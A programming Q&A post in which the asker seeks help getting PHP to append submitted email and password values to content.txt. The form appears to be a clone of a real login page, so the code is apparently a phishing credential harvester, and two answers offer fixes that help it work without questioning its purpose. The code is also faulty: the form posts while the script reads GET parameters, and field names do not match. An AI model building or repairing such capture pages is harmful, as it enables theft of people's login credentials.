Error when submitting input to a txt file in php - php

Question

I am working on a input storer.
It does not write to the txt document with this code:
<?php
if (isset($_GET['test0'])) {
$file = 'content.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new line to the file
$current .= "\n" . "(TEST0)". $_GET['test0'] . "(TEST1)". $_GET['test1'];
// Write the contents back to the file
file_put_contents($file, $current);
}
?>
It is supposed to take the values from a <input> and store them. It isn't working, though. Here is the HTML:
<form action="" method="post" class="proceed maskable" name="login" autocomplete="off" novalidate>
<div id="passwordSection" class="clearfix">
<div class="textInput" id="login_emaildiv">
<div class="fieldWrapper"><label for="email" class="fieldLabel">Test0</label><input id="email" name="test0" type="email" class="hasHelp validateEmpty "
required="required" aria-required="true" value="" autocomplete="off" placeholder="Email" /></div>
<div class="errorMessage" id="emailErrorMessage">
<p class="emptyError hide">Blank</p>
<p class="invalidError hide">Blank</p>
</div>
</div>
<div class="textInput lastInputField" id="login_passworddiv">
<div class="fieldWrapper"><label for="password" class="fieldLabel">Test1</label><input id="password" name="Test0" type="password" class="hasHelp validateEmpty "
required="required" aria-required="true" value="" placeholder="Password" /></div>
<div class="errorMessage" id="passwordErrorMessage">
<p class="emptyError hide">Blank</p>
</div>
</div>
</div>
</form>
How can I solve this problem.
Thanks!

Answer 1

Try this :
<?php
if (isset($_GET['test0'])) {
$current = "\n" . "(TEST0)". $_GET['test0'] . "(TEST1)". $_GET['test1'];
$myfile = fopen("content.txt", "a") or die("Unable to open file!");
fwrite($myfile, $current);
fclose($myfile)
}
?>

Answer 2

Check the content.txt file permission
if (isset($_GET['test0'])) {
$file = __DIR__.'/content.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new line to the file
$current .= "\n" . "(TEST0)". $_GET['test0'] . "(TEST1)". $_GET['test1'];
// Write the contents back to the file
file_put_contents($file, $current);
}
?>